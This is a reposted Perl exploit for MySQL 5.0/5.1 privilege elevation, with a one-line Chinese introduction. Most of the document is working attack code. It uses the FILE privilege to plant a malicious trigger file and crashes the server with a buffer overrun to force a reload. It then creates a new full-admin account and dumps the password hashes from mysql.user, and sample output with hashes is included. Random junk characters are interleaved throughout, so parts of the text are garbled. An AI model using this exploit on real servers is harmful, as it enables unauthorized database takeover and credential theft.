漏洞在12月1日的Seclist上发布,作者在Debian Lenny (mysql-5.0.51a) 、 OpenSuSE 11.4 (5.1.53-log)上测试成功,代码执行成功后会增加一个MySQL的管理员帐号。
6 z* f5 r' W0 f$ C4 L( }, s, l- e4 S/ }
, u& f# d N4 T* W2 \. O7 J/ E$ K2 a Y$ H* b) Z# \" v4 A
& ?% V0 D% n: e& A, i/ c% ^
1 ~0 g) k! b- ~3 p& n( r& `use DBI(); $|=1; =for comment MySQL privilege elevation Exploit This exploit adds a new admin user. By Kingcope Tested on * Debian Lenny (mysql-5.0.51a) * OpenSuSE 11.4 (5.1.53-log) How it works: This exploit makes use of several things: *The attacker is in possession of a mysql user with 'file' privileges for the target *So the attacker can create files on the system with this user (owned by user 'mysql') *So the attacker is able to create TRIGGER files for a mysql table
8 Q8 u; W5 e9 ^$ e- L triggers can be used to trigger an event when a mysql command is executed by the user, normally triggers are 'attached' to a user and will be executed with this users privilege. because we can write any contents into the TRG file (the actual trigger file), we write the entry
5 P4 `% A4 g, m5 K describing the attached user for the trigger as "root@localhost" what is the default admin user. * We make use of the stack overrun priorly discovered to flush the server config so the trigger file is recognized. This step is really important, without crashing the mysql server instance and reconnecting (the server will respawn) the trigger file would not be recognized. So what the exploit does is: * Connect to the MySQL Server * Create a table named rootme for the trigger * Create the trigger file in /var/lib/mysql/<databasename>/rootme.TRG
/ `/ u; C$ p8 q8 {1 |. S% I Y* Crash the MySQL Server to force it to respawn and recognize the trigger file (by triggering the stack overrun)
/ p, ~4 S* O9 u* INSERT a value into the table so the trigger event gets executed; j9 m S, o" y# D
* The trigger now sets all privileges of the current connecting user in the mysql.user table to enabled.- i7 q5 I k9 d
* Crash the MySQL Server again to force it reload the user configuration1 f% ]0 V# _% Y% h1 h
* Create a new mysql user with all privileges set to enabled
9 y8 M9 z) d. c& T) |5 Z7 |& X. h7 P* Crash again to reload configuration# x' C' i Z% ~# M- N
* Connect by using the newly created user9 y4 W/ q2 R0 X: M8 W4 R. }
* The new connection has ADMIN access now to all databases in mysql
0 | l. {6 r4 c* The user and password hashes in the mysql.user table are dumped for a convinient way to show the exploit succeeded0 T$ _* }2 y _/ J1 x, W5 ~
* As said the user has FULL ACCESS to the database now) O6 h, q! p# v7 L- L5 N! T
9 T k+ {! i6 I" l r. P6 e! DRespawning of mysqld is done by mysqld_safe so this is not an issue in any configuration I've seen." U3 e1 J5 O% T( p3 r
=cut1 [3 y- ^# \; s: N
+ }3 B% e+ l; W& @=for comment+ x" {2 h6 m; ^9 }5 P$ k/ y( n
& w9 W3 H+ G I. J# Juser created for testing (file privs will minor privileges to only one database):
7 X4 N+ W" L( G: \+ u
/ k" }9 l4 i+ |; X. [) c( d' bmysql> CREATE USER 'less'@'%' IDENTIFIED BY 'test';+ w/ z* | E. o1 V. ^8 k" H5 k
Query OK, 0 rows affected (0.00 sec)
. I! S% ~ N9 t% r& y. I" H( I j; I1 k E# ?# [5 `) v
mysql> create database lessdb
! t/ p* `- N9 \- S. m7 \- C, A -> ;
2 e) [2 j1 v6 A; bQuery OK, 1 row affected (0.00 sec)
6 `+ [" {' G& e6 v7 z. k2 H% W7 G8 J' j- y( k/ ~4 s- t, i9 R
mysql> GRANT ALL PRIVILEGES ON lessdb.* TO 'less'@'%' WITH GRANT OPTION;
$ q) ?3 E: E8 }' FQuery OK, 0 rows affected (0.02 sec)8 R" V W# O: F7 o" C( q
$ b3 ]# I+ [- M" `1 X0 o* s0 bmysql> GRANT FILE ON *.* TO 'less'@'%' WITH GRANT OPTION;9 w0 {& o8 V5 H- u/ N
Query OK, 0 rows affected (0.00 sec)( s# _+ {- u: _4 K1 s( ?
0 p& A( `0 x& _+ ]6 Q
login with new unprivileged user:
9 h' b1 y$ D7 w) U9 Qmysql> select * from mysql.user;+ I R0 g( ~' ?! ?1 K# r
ERROR 1142 (42000): SELECT command denied to user 'less2'@'localhost' for table 'user'
& Y% h6 O, d& @# T o7 o$ f! E5 a9 K. m
=cut
B4 H- z; C% I h% U- _* V8 I8 u) z; I ^
=for comment" p2 p% r7 g N! r4 r& n
! u+ l, ^! S `; v
example attack output:
a$ i/ A' [! A# N+ c4 M
- A8 h2 a7 x2 ^, B$ O3 ~4 ^- I2 ?C:\Users\kingcope\Desktop>perl mysql_privilege_elevation.pl2 i4 c! H3 ~% ~/ o
select 'TYPE=TRIGGERS' into outfile'/var/lib/mysql/lessdb3/rootme.TRG' LINES TER1 D$ d4 _; F* |
MINATED BY '\ntriggers=\'CREATE DEFINER=`root`@`localhost` trigger atk after ins0 K f! u* C8 g5 y, Q. `
ert on rootme for each row\\nbegin \\nUPDATE mysql.user SET Select_priv=\\\'Y\\\ ', Insert_priv=\\\'Y\\\', Update_priv=\\\'Y\\\', Delete_priv=\\\'Y\\\', Create_p
3 G# B3 Y9 b+ n* D/ }* |1 G, w- C4 Iriv=\\\'Y\\\', Drop_priv=\\\'Y\\\', Reload_priv=\\\'Y\\\', Shutdown_priv=\\\'Y\\
J- J R9 D7 P- `0 b\', Process_priv=\\\'Y\\\', File_priv=\\\'Y\\\', Grant_priv=\\\'Y\\\', Reference! w3 y6 X" H; i! [$ k
s_priv=\\\'Y\\\', Index_priv=\\\'Y\\\', Alter_priv=\\\'Y\\\', Show_db_priv=\\\'Y
' |: O, R9 t- m* k\\\', Super_priv=\\\'Y\\\', Create_tmp_table_priv=\\\'Y\\\', Lock_tables_priv=\\
. M6 e- L, P1 h3 r* p\'Y\\\', Execute_priv=\\\'Y\\\', Repl_slave_priv=\\\'Y\\\', Repl_client_priv=\\\
5 C9 Z/ `+ S2 ^, `; u7 w" |'Y\\\', Create_view_priv=\\\'Y\\\', Show_view_priv=\\\'Y\\\', Create_routine_pri v=\\\'Y\\\', Alter_routine_priv=\\\'Y\\\', Create_user_priv=\\\'Y\\\', ssl_type= \\\'Y\\\', ssl_cipher=\\\'Y\\\', x509_issuer=\\\'Y\\\', x509_subject=\\\'Y\\\', max_questions=\\\'Y\\\', max_updates=\\\'Y\\\', max_connections=\\\'Y\\\' WHERE User=\\\'less3\\\';\\nend\'\nsql_modes=0\ndefiners=\'root@localhost\'\nclient_cs7 D# e6 s5 p% ~6 N, x/ w
_names=\'latin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'lati( L, Q/ y& j* z s6 m. u! \0 s
n1_swedish_ci\'\n';DBD::mysql::db do failed: Unknown table 'rootme' at mysql_pri
5 U* r% }0 b0 p& b8 ~+ u* Q. Nvilege_elevation.pl line 44.. n+ h4 k8 p" M, \
DBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_6 I% s" A7 h: i) c r/ d- N# z1 m
privilege_elevation.pl line 50.
8 t. ~5 t7 {+ x: v+ M( e" X6 YDBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_) s" f' F: }+ \0 S O+ M3 y
privilege_elevation.pl line 59./ |. p' L; Z8 K; j; ?
W00TW00T!
+ y( h3 ?7 m0 Z( JFound a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B3 N- A8 L" y$ p$ G6 Y; c. c
Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B. ?3 q- e- f* g7 E+ z1 c6 r" ~" A
Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B4 u. {+ U' N% u( L
Found a row: id = debian-sys-maint, name = *C5524C128621D8A050B6DD616B06862F9D64
# r6 b2 k$ d# A$ c9 X4 OB02C
% i* T2 a; [9 |2 a# m( ZFound a row: id = some1, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
Q+ h* Q( `- W& yFound a row: id = monty, name = *BF06A06D69EC935E85659FCDED1F6A80426ABD3B
0 _- n9 T$ A, i7 uFound a row: id = less, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
9 {& w6 h/ R) {; t' L9 c+ p6 JFound a row: id = r00ted, name = *EAD0219784E951FEE4B82C2670C9A06D35FD56973 y1 ?% E$ V" z
Found a row: id = user, name = *14E65567ABDB5135D0CFD9A70B3032C179A49EE7
0 c) c* @1 [7 o# Q+ [' QFound a row: id = less2, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC298 B, @1 ]/ |6 \* r
Found a row: id = less3, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
3 A& E3 ~, h2 ?9 z8 g3 L3 m9 SFound a row: id = rootedsql, name = *4149A2E66A41BD7C8F99D7F5DF6F3522B9D7D9BC8 W A! b2 I' u* C8 ] l9 P" _. ]
* c) h6 |5 i/ a* E% f- M=cut f7 C" m3 e2 J# c6 {& y& \
R" b5 c, P. H# y/ @- v$user = "less10";
0 l7 \: o8 m9 K+ e, q$password = "test";2 M Z# g0 t) S7 B' ?$ Y& T
$database = "lessdb10";- _ u; O- L& k$ r
$target = "192.168.2.4";
* |* W' F' Y) {' P3 x$folder = "/var/lib/mysql/"; # Linux
* h/ R1 B. ~5 ~/ R$newuser = "rootedbox2";
9 \. \( L( X" I8 ^+ G/ [$newuserpass = "rootedbox2";
1 }% ~( }) e: q0 J5 W$mysql_version = "51"; # can be 51 or 50
" }3 \. M, j- T3 h
4 _3 c9 f" p- y# Y3 Iif ($mysql_version eq "50") {
2 K0 q6 Y4 a" Q ? W3 y$inject =" B9 K" w* W5 p6 v% D# g
"select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';";
5 q6 B! D; ?! i, F0 Z, H3 c} else {0 {$ p$ e: `! V4 C, M5 v# N+ y$ f
$inject =( ]2 f, t- @2 K8 L" s
"select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', Event_priv=\\\\\\'Y\\\\\\', Trigger_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';";/ k0 d! D2 {+ D! D
}; O: i m9 d% E
' ^' F9 Y, u+ Y0 ?7 ~5 l& u& K
print $inject;#exit;
7 O, b6 B1 U4 p) S- R$inject2 =- Q6 i4 R: U% ?6 W& V- c
"SELECT 'TYPE=TRIGGERNAME\\ntrigger_table=rootme;' into outfile '".$folder.$database."/atk.TRN' FIELDS ESCAPED BY ''";3 A( E- V" L" y# m
" w G7 w1 n' A3 Umy $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",
+ W) z3 \6 _) M' f "$user", "$password",: b' ^( b' d- M; x3 @! O0 b
{'RaiseError' => 0});
$ a6 J w# S3 O! V' k$ ^ C& t9 ceval { $dbh->do("DROP TABLE rootme") };
9 ^$ L/ T6 V; x# }* [3 G/ X$dbh->do("CREATE TABLE rootme (rootme VARCHAR(256));");
2 u9 I% h: Z8 H5 T$ k' W$dbh->do($inject);
0 ^$ [+ P) ~, {$ [. p$dbh->do($inject2);# Q2 N* ]( ]* M3 D. q
: ]0 Q/ u, w- o
$a = "A" x 10000;
' N& w6 ?9 x: T8 x$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");
?2 b) u6 a, d {2 f' v' p( ^4 i d% H6 S- p) z7 O, q) `
sleep(3);
1 ?( V8 D, y4 E: }/ i# f" i# L7 X
# q- Q2 m2 f" T: m+ \; Z* Nmy $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",; m+ r' i) \! C3 Q$ d |
"$user", "$password",, H; |# W1 J/ L6 l7 y
{'RaiseError' => 0});* G! W/ b( j5 v+ T( F/ u9 B. q
0 f# [2 ~# E9 i& j% f( w$dbh->do("INSERT INTO rootme VALUES('ROOTED');");
1 i- w) F9 Z: h6 Q& b6 B$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");
0 P' \7 K4 p! I4 u, c% }# h. f' \7 v! A" L' v$ D8 `
sleep(3);
; y7 q+ Z9 c- A( U( i. P# @$ `# i, Z, w2 Y) |; B
my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",
: \: P. g' @7 B# ? "$user", "$password",6 F4 R2 m9 t6 A9 J( V5 l' I, l, ~
{'RaiseError' => 0});
, ^8 }: d8 G7 g- U, O6 [: y1 k( T$ `; i1 j$ e( r X3 b
$dbh->do("CREATE USER '$newuser'\@'%' IDENTIFIED BY '$newuserpass';");
1 U0 s; C5 e, [3 j. F4 }' U( C$dbh->do("GRANT ALL PRIVILEGES ON *.* TO '$newuser'\@'%' WITH GRANT OPTION;");
7 h- M6 e9 S# f5 g$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");
% T) h1 j8 R( c) q- ]* S# n2 R: _. T5 S, ]- V& l
sleep(3);
0 f- N1 K1 y1 m- A5 ^# ]% z: ^
3 f: b- q) R2 I( rmy $dbh = DBI->connect("DBI:mysql:host=$target;",
+ k3 x9 {0 l, u& q3 a4 w/ A9 } $newuser, $newuserpass,. z' y; G- l4 Z: [0 z& x8 J
{'RaiseError' => 0});) B3 S1 G2 y$ O
. Z0 Q9 Y' Z6 l2 }$ N) e. zmy $sth = $dbh->prepare("SELECT * FROM mysql.user");9 t, X6 n. O) l* E7 r# j- g
$sth->execute();
7 S5 r/ P! ~% k
: C5 U7 S0 a" N1 z! ^) a3 cprint "W00TW00T!\n";$ Y, o; i; {- l+ g
1 o( b3 G( ]0 W1 D9 W: G awhile (my $ref = $sth->fetchrow_hashref()) {# I9 g, a z, h
print "Found a row: id = $ref->{'User'}, name = $ref->{'Password'}\n";( ]1 Z. w& Y1 |/ r
}
: Z- {4 C4 `) _ }$ b+ u$sth->finish(); |